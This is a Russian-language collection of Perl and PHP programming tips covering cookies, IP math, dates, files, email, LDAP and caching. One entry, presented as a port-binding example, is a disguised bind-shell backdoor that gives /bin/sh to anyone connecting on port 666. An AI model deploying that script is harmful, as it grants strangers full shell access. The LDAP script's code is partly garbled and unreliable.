    ----* Как считать список установленных cookies в хеш.   [обсудить]
     
    sub load_cookies{
            local (*cook_arr) = @_;
        foreach (split(/\;\s*/,$ENV{'HTTP_COOKIE'})){
            my ($cur_key, $cur_val) = split(/\=/);
            $cook_arr{"$cur_key"} = $cur_val;
        }
    }
    load_cookies(*cooks); print $cooks{"cook_name"};
    
     
    ----* Как добится показа русских букв в JavaScript (перекодировка в UTF)   [обсудить]
     
    Для показа русских букв в JavaScript блоке нужно перекодировать их в UTF:
    sub koi2utf{
        my($str)=@_;
    	$_=$str;
            s/ё/&#1105;/g;	s/Ё/&#1025;/g;	s/ю/&#1102;/g;	s/а/&#1072;/g;
    	s/б/&#1073;/g;	s/ц/&#1094;/g;	s/д/&#1076;/g;	s/е/&#1077;/g;
    	s/ф/&#1092;/g;	s/г/&#1075;/g;	s/х/&#1093;/g;	s/и/&#1080;/g;
    	s/й/&#1081;/g;	s/к/&#1082;/g;	s/л/&#1083;/g;	s/м/&#1084;/g;
    	s/н/&#1085;/g;	s/о/&#1086;/g;	s/п/&#1087;/g;	s/я/&#1103;/g;
    	s/р/&#1088;/g;	s/с/&#1089;/g;	s/т/&#1090;/g;	s/у/&#1091;/g;
    	s/ж/&#1078;/g;	s/в/&#1074;/g;	s/ь/&#1100;/g;	s/ы/&#1099;/g;
    	s/з/&#1079;/g;	s/ш/&#1096;/g;	s/э/&#1101;/g;	s/щ/&#1097;/g;
    	s/ч/&#1095;/g;	s/ъ/&#1098;/g;	s/Ю/&#1070;/g;	s/А/&#1040;/g;
    	s/Б/&#1041;/g;	s/Ц/&#1062;/g;	s/Д/&#1044;/g;	s/Е/&#1045;/g;
    	s/Ф/&#1060;/g;	s/Г/&#1043;/g;	s/Х/&#1061;/g;	s/И/&#1048;/g;
    	s/Й/&#1049;/g;	s/К/&#1050;/g;	s/Л/&#1051;/g;	s/М/&#1052;/g;
    	s/Н/&#1053;/g;	s/О/&#1054;/g;	s/П/&#1055;/g;	s/Я/&#1071;/g;
    	s/Р/&#1056;/g;	s/С/&#1057;/g;	s/Т/&#1058;/g;	s/У/&#1059;/g;
    	s/Ж/&#1046;/g;	s/В/&#1042;/g;	s/Ь/&#1068;/g;	s/Ы/&#1067;/g;
    	s/З/&#1047;/g;	s/Ш/&#1064;/g;	s/Э/&#1069;/g;	s/Щ/&#1065;/g;
    	s/Ч/&#1063;/g;	s/Ъ/&#1066;/g;
        return $_;
    }
    
     

       Работа с сетью и IP адресами на Perl

    ----* Подсчет exim трафика с разделением на локальный и мировой   Автор: DelGod  [комментарии]
     
    В файле конфигурации exim пишем:
    
       log_file_path = /var/log/exim/exim-%s-%D.log
       log_selector = +delivery_size +sender_on_delivery +received_recipients
    
    В файл /var/db/ukr_net ложим список украинских сетей
    
    И собствено скрипт для подсчета трафика с разделением на украинский и мировой:
    
    #!/usr/bin/perl -w
    
    my ($nmin, $nmax) = (32,0);
    
    open UKRNETS, "/var/db/ukr_net";
    while (<UKRNETS>) {
      s/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\/([0-9]+)$//;
      $UkrIPs{substr(substr(unpack("B32", pack("N", $1)),24).substr(unpack("B32", pack("N", $2)),24).substr(unpack("B32", pack("N", $3)),24).substr(unpack("B32", pack("N", $4)),24),0,$5)}="$1.$2.$3.$4\/$5";
      $nmin = $5 if $5 < $nmin;
      $nmax = $5 if $5 > $nmax;
    }
    close UKRNETS;
    
    open TRAFF, '/var/log/exim/exim-main-20060122.log';
    while (<TRAFF>) {
      my ($mail_from,$mail_to,$ip,$bytes_in,$bytes_out);
      if      (/^[0-9-]+ [0-9:]+ [A-Za-z0-9]{6}-[A-Za-z0-9]{6}-[A-Za-z0-9]{2} <= ([^\@]+@[A-Za-z0-9-.]+).* H=.*\[([0-9.]+)\].* S=([0-9]+).* for ([^\@]+@[A-Za-z0-9-.]+)$/) {
        $mail_1=$1;
        $mail_2=$4;
        $ip=$2;
        $bytes_in=$3;
        $bytes_out=0;
      } elsif (/^[0-9-]+ [0-9:]+ [A-Za-z0-9]{6}-[A-Za-z0-9]{6}-[A-Za-z0-9]{2} [\=\-\*]\> ([^\@]+@[A-Za-z0-9-.]+).* F=\<([^\@]+@[A-Za-z0-9-.]+)\>.* T=remote_smtp S=([0-9]+).* H=.*\[([0-9.]+)\].*/) {
        $mail_1=$2;
        $mail_2=$1;
        $ip=$4;
        $bytes_in=0;
        $bytes_out=$3;
      }
      if ((defined($ip)) and ($ip =~ /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/)) {
        my $ipB=substr(unpack("B32", pack("N", $1)),24)."".substr(unpack("B32", pack("N", $2)),24)."".substr(unpack("B32", pack("N", $3)),24)."".substr(unpack("B32", pack("N", $4)),24);
        for ($Ne=$nmax; $Ne>=$nmin; $Ne--) {
          my $ipBin=substr($ipB,0,$Ne);
          if ($UkrIPs{$ipBin}) {
            $m_from{$mail_1}{ukr}{in} +=$bytes_in;
            $m_from{$mail_2}{ukr}{in} +=$bytes_in;
            $m_from{$mail_1}{ukr}{out}+=$bytes_out;
    
            $m_from{$mail_1}{mir}{in} -=$bytes_in;
            $m_from{$mail_2}{mir}{in} -=$bytes_in;
            $m_from{$mail_1}{mir}{out}-=$bytes_out;
            last;
          }
        }
        $m_from{$mail_1}{mir}{in} +=$bytes_in;
        $m_from{$mail_2}{mir}{in} +=$bytes_in;
        $m_from{$mail_1}{mir}{out}+=$bytes_out;
      }
    }
    close TRAFF;
    
    my $i=0;
    foreach $mails (keys %m_from) {
      $i++;
      print "$i $mails 
      in  ukr $m_from{$mails}{ukr}{in}
      out ukr $m_from{$mails}{ukr}{out}
      in  mir $m_from{$mails}{mir}{in}
      out mir $m_from{$mails}{mir}{out}
    ";
    }
    
     
    ----* Пример perl скрипта для привязки программы к сетевому порту (доп. ссылка 1)   Автор: Y4Ho  [комментарии]
     
    Скрипт демонстрирует организацию серверного приложения с
     перенаправдением запросов к определенной программе.
    
    #!/usr/bin/perl
    
    #Y! Underground Group
    #code by:Y4Ho
    #We Are :Y4Ho0-Iranvertex-MrPorT-S.s-LordSatan-SirSisili
    #Email:info@emperorteam.com
    #Email:y4ho0_emperor@yahoo.com
    #Homepage:www.emperorteam.com
    #tnxto:C0llect0r-Sasan-Shabgard-simorgh.Ev-IHS
    #Ex: ./Y!.pl
    
    use Socket;
    
    $port   = 666;
    $proto  = getprotobyname('tcp');
    $cmd    = "lpd";
    $system = '/bin/sh';
    
    $0 = $cmd;
    
    socket(SERVER, PF_INET, SOCK_STREAM, $proto)
                                            or die "socket:$!";
    setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
                                            or die "setsockopt: $!";
    bind(SERVER, sockaddr_in($port, INADDR_ANY))
                                            or die "bind: $!";
    listen(SERVER, SOMAXCONN)               or die "listen: $!";
    
    for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
    {
            open(STDIN, ">&CLIENT");
            open(STDOUT, ">&CLIENT");
            open(STDERR, ">&CLIENT");
    
            system($system);
    
            close(STDIN);
            close(STDOUT);
            close(STDERR);
    }
    
    #EoF
    
     
    ----* Как в perl выполнить DNS преобразование IP в имя и наоборот.   [комментарии]
     
    Из IP в имя:
       use Socket; 
       my $host = gethostbyaddr(inet_aton("192.168.1.1"), AF_INET); 
    
    Из хоста в IP:
       use Socket; 
       my $ip = inet_ntoa((gethostbyname("www.test.ru"))[4]);
    
     
    ----* Как пропатчить приложение запускаемое через inetd для определения IP клиента.   Автор: uldus  [обсудить]
     
    Си:
       struct sockaddr_in addr_name;
       socklen_t addr_len;
       addr_len = sizeof(addr_name);
       bzero(&addr_name, sizeof(addr_name));
       if (getpeername(0, (struct sockaddr *)&addr_name, &addr_len) >= 0){                          
         // выводим адрес в printf через inet_ntoa(addr_name.sin_addr)
       } 
    
    Perl:
       use Socket;
       my $std_sockaddr = getpeername(STDIN);
       my $cur_ipaddr = "0.0.0.0";
       if (defined $std_sockaddr){
          my ($tmp_port, $tmp_iaddr) = sockaddr_in($std_sockaddr);
          $cur_ipaddr = inet_ntoa($tmp_iaddr);
       }
    
     
    ----* Пример использования Net::FTP для доступа к FTP в Perl   [комментарии]
     
    $ftp = Net::FTP->new("ftp сервер", Timeout => 30, Debug => 0) || die "Can't
    connect to ftp server.\n";
    $ftp->login("логин", "пароль") || die "Can't login to ftp server.\n";
    $ftp->cwd("переход в директорию") || die "Path $cfg_remote_path not found on ftp server.\n";
    $ftp->binary();
    $size = $ftp->size("файл для которого нужно узнать размер");
    $time = $ftp->mdtm("файл для которого нужно узнать время изменения");
    $ftp->delete("директория для удаления");
    $ftp->mkdir("директория для создания");
    $ftp->rename("старое имя для переименования","новое имя");
    $ftp->put("имя файла на локальном диске для закачки", "имя файла на ftp");
    $ftp->put(*FD, "имя файла на ftp"); # Все что идет в FD будет сохранено.
    $ftp->get("удаленный файл", "локальный файл");
    $ftp->quit();
    
     
    ----* Как по IP адресу хоста и маске подсети определить адрес подсети.   [комментарии]
     
    $ip = "192.168.1.43";
    $nm = "255.255.255.224";
    print "\nip addr = $ip\nnetmask = $nm\n";
    ($ip1, $ip2, $ip3, $ip4) = split(/\./, $ip);
    ($nm1, $nm2, $nm3, $nm4) = split(/\./, $nm);
    $sb1=$ip1 & $nm1; $sb2=$ip2 & $nm2; $sb3=$ip3 & $nm3; $sb4=$ip4 & $nm4;
    print "subnet  = $sb1\.$sb2\.$sb3\.$sb4\n\n";
    
     
    ----* Операции проверки IP на вхождение в сеть a.b.c.d/N или a.b.c.d/n.n.n.n (доп. ссылка 1)   [комментарии]
     
    $find_net = '123.123.45.4/30';
    $some_ip  = '123.123.45.5';
    my ($net_ip, $net_mask) = split(/\//, $find_net);
    my ($ip1, $ip2, $ip3, $ip4) = split(/\./, $find_net);
    my $net_ip_raw = pack ('CCCC', $ip1, $ip2, $ip3, $ip4);
    my $net_mask_raw = pack ('B32', (1 x $net_mask), (1 x (32 - $net_mask)));
    # $some_ip_raw  вычисляем по аналогии с $net_ip_raw
    ($ip1, $ip2, $ip3, $ip4) = split(/\./, $some_ip);
    my $some_ip_raw = pack ('CCCC', $ip1, $ip2, $ip3, $ip4);
    
    if (($some_ip_raw & $net_mask_raw) eq $net_ip_raw){
      # $some_ip_raw входит в подсеть $find_net
    }
    При указании маски вида $find_net = '123.123.45.4/255.255.255.224'
    вместо pack можно преобразовать IP и маску в число по алгоритму:
    $net_ip_raw = ($ip1<<24) + ($ip2<<16) + ($ip3<<8) + $ip4;
    Тоже проделать с маской и проверяемым IP, вхождение в подсеть будет проверяться условием:
    if ($some_ip_raw & $net_mask_raw) == $net_ip_raw){
      # $some_ip_raw входит в подсеть $find_net
    }
    Другой вариант:
    use Socket;
    sub isinsubnet {
        my ($subnethost, $subnetmask, $testhost) = @_;
        $subnethost = inet_aton($subnethost);
        $subnetmask = inet_aton($subnetmask);
        $testhost = inet_aton($testhost);
        return (($subnethost & $subnetmask) eq ($testhost & $subnetmask));
    }
    
     

       Работа со временем и датами

    ----* Как определить смещение в часах для текущей временной зоны в Perl и Shell   [обсудить]
     
    Perl:
       use POSIX (strftime);
       my $tz = strftime("%z", localtime); 
       $tz =~ s/(\d\d)(\d\d)/$1/; 
    
    
    Shell:
       date +%z|sed 's/[0-9][0-9]$//'
    
     
    ----* Как на perl преобразовать дату заданную в виде строки   [обсудить]
     
    use Date::Parse;
    my $time = str2time("Wed, 9 Jun 2003 09:50:32 -0500 (EST)");
    
     
    ----* Как определить дату начала и конца недели на Perl (доп. ссылка 1)   Автор: whirlwind.ru  [обсудить]
     
    my $dofw = (localtime())[6];
    my $time = time();
    my $inday = 86400;
    Начало недели $time - $inday * $dofw или localtime($time - $inday * $dofw)
    Конец недели $time + $inday * (6 - $dofw) или localtime($time + $inday * (6 - $dofw))
    
     
    ----* Как зная день, месяц, год и время получить Epoch время (сек. от 1.1.1970)   [комментарии]
     
    perldoc Time::Local;
    $time = timelocal($sec,$min,$hours,$mday,$mon,$year);
    С помощью Time::Local можно посчитать число секунд, дней, месяцев и т.д.
    относительно какой-либо даты.
    
     
    ----* Чем воспользоваться для преобразования дат   [обсудить]
     
    модуль Date::Calc
    
     
    ----* Как использовать промежутки времени меньше секунды   [комментарии]
     
    модуль Time::HiRes
    
     
    ----* Как получить и отобразить текущее время   [комментарии]
     
    ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) 
    	= localtime(time());
    $mon++;
    $year += 1900;
    $time_str = sprintf ("%.2ld/%.2ld/$year %.2ld:%.2ld:%.2ld",
    	$mday,$mon,$hour,$min,$sec);
    
     

       Работа с файлами

    ----* Манипулирование файловыми хэндлерами в Perl (доп. ссылка 1)   [обсудить]
     
    Пример хранение дескрипторов в хэше:
       my %user_fd = ();
       if (! defined $user_fd{$cur_login}){ 
          open($user_fd{$cur_login}, ">$cur_file") or return -1;
       }
       print {$user_fd{$cur_login}} "TEST\n";
       close($user_fd{$cur_login});
    
    Пример передачи дескриптора из функции:
    
       # Для perl 5.6 и старше
       open (my $fh, $file_name);
       print $fh "Hello World!\n";
       process_file( $fh );
    
       open (FILE, "> $filename)";
       process_typeglob( *FILE );
       process_reference( \*FILE );
    
       sub process_typeglob { local *FH = shift; print FH "Typeglob!" }
       sub process_reference { local $fh = shift; print $fh "Reference!" }
    
    
        my $fh = myopen("file_path");
        while (<$fh>) {
        ....
        }
        close $fh;
    
       sub myopen {
          my $path = shift;
          local *FH; 
          open (FH, $path) || return undef;
          return *FH;
       }
    
     
    ----* Как в Perl/PHP выводить данные без буферизации, не дожидаясь конца строки   [комментарии]
     
    Perl:
       "$!=1;" или "use IO::Handle; FH->autoflush(1);"
    PHP:
       После каждой операции вывода вызывать flush();
    
     
    ----* Как на Perl прочитать и преобразовать права доступа к файлу в приемлимый для chmod вид.   [комментарии]
     
    $file_mode = (stat( $file_path ))[2];
    $stat_mode = sprintf ("%04o", $stat_mode & 07777);
    print  "chmod $stat_mode $file_path\n";
    chmod ($stat_mode, "файл");  
    
     
    ----* Как получить рекурсивный список файлов   [обсудить]
     
    use File::Find;
    sub get_file{
      my ($file_name)  = $_;
      my $file_fullpath  = $File::Find::name;
      my $file_dir  = $File::Find::dir;
    }
    find (\&get_file, "/usr/some/dir");
    
     
    ----* Как получить список файлов в директории   [комментарии]
     
    	opendir (DIR,"$dir_path");
    	my @files=grep (!/^\.+$/,readdir (DIR)); # или foreach my $cur_file (readdir(DIR)){..}
    	closedir (DIR);
    
     

       Работа с электронной почтой

    ----* Проверка существования email в AD (ldap) для маршрутизации письма на Exchange   Автор: 2dfx  [комментарии]
     
    У нас в компании используется сервер Exchange для обмена почтовыми сообщениями.
    Но для отправки сообщений во "вне" используем Communigate Pro.
    Communigate (CGP for Linux) используется только как прослойка и письма
    отправленные на известные домены пересылаются на  Exchange.
     
    схема
     
       Internet
          |
          |
       Communigate Pro
          |
          |
       Exchange
          |
          |
       Users
     
    Но если просмотреть логи, то можно увидеть, что есть огромные очереди на
    адреса, которых не существует и соответственно куча DNR.
    Значит нужно как-то отсеивать эти настырные подключения.
     
    Пришел к выводу, что можно сделать External Authentication + скрипт на perl +
    запретить пересылку писем на exchange (это будет делать скрипт)
     
    Что было сделано.
    
    1. На communigate включил External Authentication (В helpers) с параметрами:
    
       Program Path: /var/CommuniGate/adrelay.pl
       Time-out: 20s
       Auto-Restart: 30s
    
    Не забыть поставить галку External Authentication
     
    2. Так же на communigate в разделе Users - Domain Defaults - Unknown Names:
    
       Consult External for Unknown: Yes
       Mail to Unknown: Rejected
     
    Теперь напишем скрипт в /var/CommuniGate/adrelay.pl
      
       #!/usr/bin/perl
       use Net::LDAP;
       my  $searchBase = 'dc=DOMAIN,dc=local';
       my @ldap_servers=(
       { address=>'XXX.XXX.XXX.XXX',     # the address or IP of LDAP server
         port=>389,                # LDAP port, 389 by default
         timeout=>5,               # timeout in seconds, 20 by default
         adminDN=>'LDAPUSER@DOMAIN.local',  # the DN for admin bind
         adminPassword=>'Password', # the DN PASSWORD for admin bind
       },
       { address=>'XXX.XXX.XXX.XXX',     # the address or IP of LDAP    server2
         port=>389,                # LDAP port, 389 by default
         timeout=>5,               # timeout in seconds, 20 by default
         adminDN=>'LDAPUSER@DOMAIN.local',  # the DN for admin bind
         adminPassword=>'Password', # the DN PASSWORD for admin bind
       },
       { address=>'XXX.XXX.XXX.XXX',     # the address or IP of LDAP  server3
         port=>389,                # LDAP port, 389 by default
         timeout=>5,               # timeout in seconds, 20 by default
         adminDN=>'LDAPUSER@DOMAIN.local',  # the DN for admin bind
         adminPassword=>'Password', # the DN PASSWORD for admin bind
       },
       );
    
       $| = 1;
       print "* MegaScript started\n";
       my ($ldapServerID,$ldapServerTried)=(0,0);
       while(<STDIN>) {
         chomp;    # remove \n from the end of line
         my ($prefix,$method,@eargs) = split(/ /);
         if($method eq 'NEW') {
           unless($prefix && $method && $eargs[0]) {
             print "$prefix ERROR Expected: nnn NEW user\@domain\n";
           } else {
             my $errorMsg=new_command($prefix,$eargs[0]);
       
           if(defined $errorMsg) {
             print "$prefix ERROR $errorMsg\n";
           }
         }
       }
       elsif ($method eq 'INTF' ) {
           if($eargs[0] < 3) {
             print "* This script requires CGPro version 4.1b7 or newer\n";
             exit;
           }
    
             exit;
           }
           print "$prefix INTF 3\n";
         }
         elsif($method eq 'QUIT') {
           print "$prefix OK\n";
           last;
         } else {
           print "$prefix ERROR Only NEW, INTF and QUIT commands  supported\n";
         }
       }
       print "* Megascript done\n";
       exit(0);
      
       sub tryConnectServer {
         my $theServer=$ldap_servers[$ldapServerID];
         print "* trying to connect to $theServer->{address}\n";
         my $ldap = Net::LDAP->new($theServer->{address},port=>($theServer->{port} || 389),timeout=>($theServer->{timeout} || 20) )
          || return undef;
         return $ldap;
       }
      sub tryConnect {
         my $nServers=scalar(@ldap_servers);
         for(my $nTried=0;$nTried<$nServers;$nTried++) {
           if($ldapServerID>=$nServers) { $ldapServerID=0;}
           my $ldap=tryConnectServer();
           return $ldap if($ldap);
           ++$ldapServerID;
         }
         return undef;
       }
    
       sub new_command {
         my ($prefix,$user)=@_;
         my ($name,$domain)=("","");
         if($user =~ /(.+)\@(.+)/) {
           $name=$1;
           $domain=$2;
         } else {
           return "Full account name with \@ and domain part expected";
         }
         my $ldap = tryConnect();
         unless($ldap) {
           return "Failed to connect to all LDAP servers";
         }
         my $adminDN=$ldap_servers[$ldapServerID]->{adminDN};
         my $adminPassword=$ldap_servers[$ldapServerID]->{adminPassword};
         my $result=$ldap->bind($adminDN,password=>$adminPassword)
           || return "Can't bind as admin: ".$result->error;
         $result->code && return "Can't bind as admin: ".$result->error;
        
       
            my $mesg = $ldap->search (  # perform a search
                    base   => $searchBase,
                    scope  => "subtree",
                    filter => "(&(proxyAddresses=smtp:$name\@$domain) (objectclass=*))"
            );
    
         $ldap->unbind();  
         unless(defined $mesg) {
           return "LDAP search failed";
         }
         if($mesg->all_entries() eq 0) {
           return "address $name\@$domain NOT exists";
         } else {
           print "$prefix ROUTED $name\%$domain\@[IPEXCHANGE]\n";   
           # Pomenyai IPEXCHANGE!!!!!!!!!!!!
           return undef;
         }
      };
    
     
    Что делает скрипт.
    При получении адреса e-mail в RCPT TO ищет его в AD в атрибутах пользователей.
    Если не находит, то сообщение игнорируется.
    
    Проверить работоспособность скрипта можно запустив его и набрать 1 NEW email@domain.ru
    Если выдаст ROUTED email%domain.ru@IPEXCHANGE - то значит все ОК!!!
    
     
    ----* Отправка почты с вложением из perl с помощью sendmail   Автор: Andrey  [комментарии]
     
    use MIME::Base64 qw(encode_base64);
    
    my $sendmail = '/usr/sbin/sendmail';
    my $to = 'linux@domain1.ru';
    my $from = 'my@domain2.ru';
    my $attachment = '/path_to/file.tar.gz';
    
    my $buf;
    my $subject = MIME::Base64::encode_base64('Здесь размещаем тему письма.');
       $subject =~ s/\n//g;
    my $data;
       $data = MIME::Base64::encode_base64("<p>Здесь<br>Можно разместить текст сообщения.<br></p>");
    my $boundary = 'simple boundary';
    open(MAIL, "| $sendmail -t -oi") or die("$!");
    
    print MAIL <<EOF; 
    To: $email_to 
    From: $email_from 
    Subject: =?UTF-8?B?$subject?= 
    Content-Type: multipart/mixed; boundary="$boundary" 
     
    This is a multi-part message in MIME format. 
    --$boundary 
    Content-Type: text/html; charset=UTF-8 
    Content-Transfer-Encoding: base64 
     
    $data 
    --$boundary 
    Content-Type: application/octet-stream; name="$attachment" 
    Content-Transfer-Encoding: base64 
    Content-Disposition: attachment; filename="$attachment" 
     
    EOF
    
    open(FILE, "<$attachment") or die "$!";
    
    while (read(FILE, $buf, 60*57)) { print MAIL encode_base64($buf); }
    
    close FILE;
    close MAIL;
    
     
    ----* Как отправить HTML письмо с вложенными картинками.   [обсудить]
     
    use MIME::Lite;
    $msg = MIME::Lite->new( To  =>'you@yourhost.com',
                            Subject =>'HTML with in-line images!',
                            Type    =>'multipart/related');
    $msg->attach(Type => 'text/html', 
                 Data => qq{ <body>Here's <i>my</i> image:<img src="cid:myimage.gif"></body> });
    $msg->attach(Type => 'image/gif',
                 Id   => 'myimage.gif',
                 Path => '/path/to/somefile.gif');
    $msg->send();
    
     
    ----* Как кодировать/декодировать на Perl содержимое полей в Quoted Printable   [комментарии]
     
    use MIME::Words qw(:all);
      $decoded = decode_mimewords('Subject: =?KOI8-R?Q?=D4=C5=D3=D4?=');
      $encoded = encode_mimeword("тест", "q", "koi8-r"); 
      $encoded = encode_mimewords("Subject: тест", Charset=> 'koi8-r', Encoding => 'q');
    # для base64, вместо "q", написать "b".
    
     
    ----* Как отправить письмо с аттачем (доп. ссылка 1)   [комментарии]
     
    модуль Mime::Lite
    
     
    ----* Как отправить почтовое сообщение из Perl скрипта   [обсудить]
     
    $cmd_mail="/usr/sbin/sendmail -t";
    open (SENDMAIL, "|$cmd_mail") || die "ERROR: Can not run sendmail";
    print SENDMAIL "MIME-Version: 1.0\n";
    print SENDMAIL "Content-Type: text/plain; charset=\"koi8-r\"\n";
    print SENDMAIL "Content-Transfer-Encoding: 8bit\n";
    print SENDMAIL "To: $to_email\n";
    print SENDMAIL "From: Nobody <nobody\@$localhost>\n";
    print SENDMAIL "Subject: $subject\n\n";
    print SENDMAIL $message . "\n";
    close (SENDMAIL); 
    
     

       Функции и модули в Perl

    ----* Развертывание локального Perl-репозитория CPAN (доп. ссылка 1)   Автор: xenos8  [комментарии]
     
    Инструкция по созданию локального репозитория Perl-модулей, записанных на переносной носитель.
    
    Устанавливаем модуль CPAN::Mini:
    
       # perl -MCPAN -e "install CPAN::Mini"
    
    или для Debian/Ubuntu:
    
       sudo apt-get install libcpan-mini-perl
    
    или для Fedora/RHEL/CentOS:   
    
       sudo yum install libcpan-mini-perl
    
    Если все зависимости удовлетворяют модулю, то установка пройдет без проблем.
    
    На следующей стадии загружаем копию репозитория на сменный носитель
    (загружается около 1 Гб данных):
    
       # minicpan -l /media/Носитель/CPAN/ -r http://mirror.eunet.fi/CPAN/
    
    где, в качестве аргумента к опции "-l" указан путь локального репозитория, а
    для "-r" - сайт репозитория (выбирайте наиболее близкий к вашему
    месторасположению зеркала).
    
    Для обновления версий модулей в репозитории достаточно запустить такую же команду еще раз.
    
    После завершения загрузки всех модулей, приступаем к созданию веб-сервера, для
    этого устанавливаем apache
    
       sudo apt-get install apache
    или
       yum install apache
    
    Для экономии места вместо копирования всех файлов на сервер, можно просто
    создать символическую ссылку:
    
       ln -s /media/Носитель/CPAN/ /var/www/CPAN/
    
    С этих пор любой запрос к /var/www/CPAN/ будет отправляться к /media/Носитель/CPAN/.
    
    Осталась последняя фаза настройки клиента:
    
       # perl -MCPAN -e shell
       cpan[1]>o conf urllist push http://localhost/CPAN/
       cpan[2]>o conf commit
       cpan[3]>quit
    
     
    ----* Как в Perl перехватить __DIE__, чтобы это не отразилось на die() внутри eval (доп. ссылка 1)   [обсудить]
     
    Если в скрипте используется свой обработчик $SIG{__DIE__}, то он отработает и
    для die() внутри eval блока.
    
    Чтобы этого не произошло, нужно вначале eval блока переключиться на старый обработчик:
    
    eval { local $SIG{__DIE__}  = 'DEFAULT'; 
           local $SIG{__ALRM__} = sub { die 'timeout!' }; 
           alarm(1);
           ....
    };
    
    Простейший вариант, проверка $^S, устанавливается в 1 при вызове из eval блока:
    local $SIG{'__DIE__'} = sub {
       die @_ if $^S;
       .....
    }
    
    Усложненный вариант:
    
    sub _evalling { # Определение типа текущей подпрограммы
        my $i = 0; my $sub;
        while (defined($sub = (caller($i++))[3])){
            if ($sub =~ /^\(eval( \d+)?\)$/){
                 return 1;
            }
        } 
        return 0;
    }
    $::SIG{'__DIE__'} = sub { # Перехват die()
        &{$self->{callback}}(@_ ? @_ : $@) unless _evalling;
        die @_;
    };
    
     
    ----* Как интегрировать функцию написанную на C/C++ в Perl скрипт. (доп. ссылка 1)   [обсудить]
     
    Простой путь: use Inline::C, use Inline::CPP (есть также модуль Inline::ASM)
    Более сложный путь: perldoc perlxs, perldoc perlxstut
    
     
    ----* Как получить список всех установленных Perl модулей и их версий (доп. ссылка 1)   [обсудить]
     
    use ExtUtils::Installed;
    $installed = ExtUtils::Installed->new();
    foreach $module ($installed->modules()){
        printf "Module: %s\t\tVersion: %s\n", $module, $installed->version($module);
    }
    
     
    ----* Как выполнить в Perl свой код перед аварийным завершением по die().   [обсудить]
     
    sub die_sig{
        # Случай вызова die в eval блоке.
        die @_ if $^S;
        # Удаляем лок.
        unlink("$cfg_lock_file");
    }
    local ($SIG{__DIE__}) = \&die_sig;
    
     
    ----* Как получить имена подпрограмм Perl модуля (доп. ссылка 1)   Автор: whirlwind.ru  [обсудить]
     
    print join("\n",&get_sub_list);
    sub go{}
    sub test1{}
    package sublist;
    sub main::get_sub_list{
    	no warnings;
    	my ($code,@fn);
    	foreach (keys(%main::)){
    		next unless /^[\w_]/;
    		push(@fn,$_) if eval("defined(*main::$_"."{CODE})");
    	}
    	use warnings;
    	@fn
    }
    
     
    ----* Выполнение функции по ссылке или определенную как строка   [обсудить]
     
    $func_link = sub {.......};
    &$func_link(1,2,3);
    test_func sub{.....};
    %arr= ("test" => \&test_func);
    $arr{"test"}=>(1,2,3);
    $func_str = "print 'test'";
    eval("$func_str");
    
     
    ----* Как вызвать функцию внутри строки   [обсудить]
     
    print "текст @{[test_func()]} текст";
    
     
    ----* Как передать файловый дескриптор в качестве параметра функции   [обсудить]
     
    sub test{
    	my $handle = shift;
    	while (<$handle>){
    		.....
    	};
            print {$handle} "test\n";
    }
    open (FH, "<file");
    flock(FH, 1);
    test(*FH);
                                                      
    
     
    ----* Как создать модуль и экпортировать переменные   [обсудить]
     
    package Test;
    use Exporter;
    @ISA = ('Exporter');
    @EXPORT_OK = ('test_func');
    sub test_func {
    ......
    }
    1;
    
     
    ----* Как поставить обработчик вызываемый при аварийном завершении скрипта   [обсудить]
     
    sub my_die{
    .....
    }
    local ($SIG{__DIE__}) = \&my_die;
    local ($SIG{__WARN__}) = \&my_warn;
    local ($SIG{INT}) = \&my_kill;
    local ($SIG{TERM}) = \&my_kill;
    die "test";
    
     

       PHP
    Regex (регулярные выражения)
    Конструкции языка и функции
    Серверная часть и интерпретатор

    ----* Добавление Spreadsheet/Excel/Writer.php в PEAR под Ubuntu 10.10   Автор: btr  [комментарии]
     
    При работе с форматом Excel в PHP в логах возникает  такая ошибка 
    
       PHP Fatal error:  require_once(): Failed opening required 'Spreadsheet/Excel/Writer.php'
    
    Решение проблемы:
    
       sudo pear install OLE channel://pear.php.net/OLE-1.0.0RC1
       sudo pear install channel://pear.php.net/Spreadsheet_Excel_Writer-0.9.2 channel://pear.php.net/Spreadsheet_Excel_Writer-0.9.2
    
     
    ----* Ведение полного лога почтовых отправлений, произведенных через PHP скрипты   [обсудить]
     
    В PHP 5.3 добавлена поддержка ведения полного лога всех почтовых отправлений через функцию mail().
    
    Указав в ini-файле опцию "mail.log имя_файла", в заданным файл будут сохранены
    данные от какого пользователя,
    из какого скрипта, и из какой строки этого скрипта была инициирована отправка каждого письма.
    
    При указании опции "mail.add-x-header true" в отправляемые через PHP функцию
    mail() письма будет добавлен
    заголовок X-PHP-Originating-Script с информацией об скрипте и отправителе.
    
     
    ----* Ускорение форума phpBB при помощи memcached (доп. ссылка 1)   Автор: EugeneVC  [комментарии]
     
    Решение по кэшированию повторяющихся запросов к MySQL, для оптимизации работы форума phpBB.
    
    
    Устанавливаем memcached под Debian или Ubuntu:
    
       apt-get install memcached php5-memcached
    
    После установки не забываем перезагрузить apache или php-cgi. Чтобы php увидел новые модули.
    
    Включаем лог медленных запросов у mysql:
    
       log_slow_queries = /var/log/mysql/mysql-slow.log
       long_query_time = 3
    
    и ждем с часик, после чего смотрим лог. У меня в лог попало порядка 4000 запросов - 
    из них легко было выделить запросы типа:
    
       SELECT COUNT(user_id) AS total FROM phpbb_users WHERE user_id <> -1
    
    Запрос постоянно подсчитывал количество пользователей форума на phpBB. 
    Понятно, что это число не особо важно - это просто статистика. Значит данные по
    этому запросу можно закешировать часа на 2.
    
    Для этого открываем файл includes/functions.php ищем функцию get_db_stat()
    
    находим код:
    
       if ( !($result = $db->sql_query($sql)) )
       {
          return false;
       }
       $row = $db->sql_fetchrow($result);
    
    изменяем на
    
       $memcached = new Memcache;
       $memcached->connect('localhost', 11211);
    
       if(!$row = $memcached->get($sql))
       {
       
          if ( !($result = $db->sql_query($sql)) )
          {
             return false;
          }
          $row = $db->sql_fetchrow($result);
       
          $memcached->set($sql, $row, MEMCACHE_COMPRESSED, time() + 7200);
       }
       $memcached->close();
    
    Смысл изменения состоит в том, что в memcached данные хранятся парами (ключ, значение). 
    Ключом служит SQL запрос - он уникальный. Алгоритм приведенного кода состоит в следующем:
    
    соединяемся с memcached, смотрим если такие данные по ключу, если нет только тогда дергаем базу, 
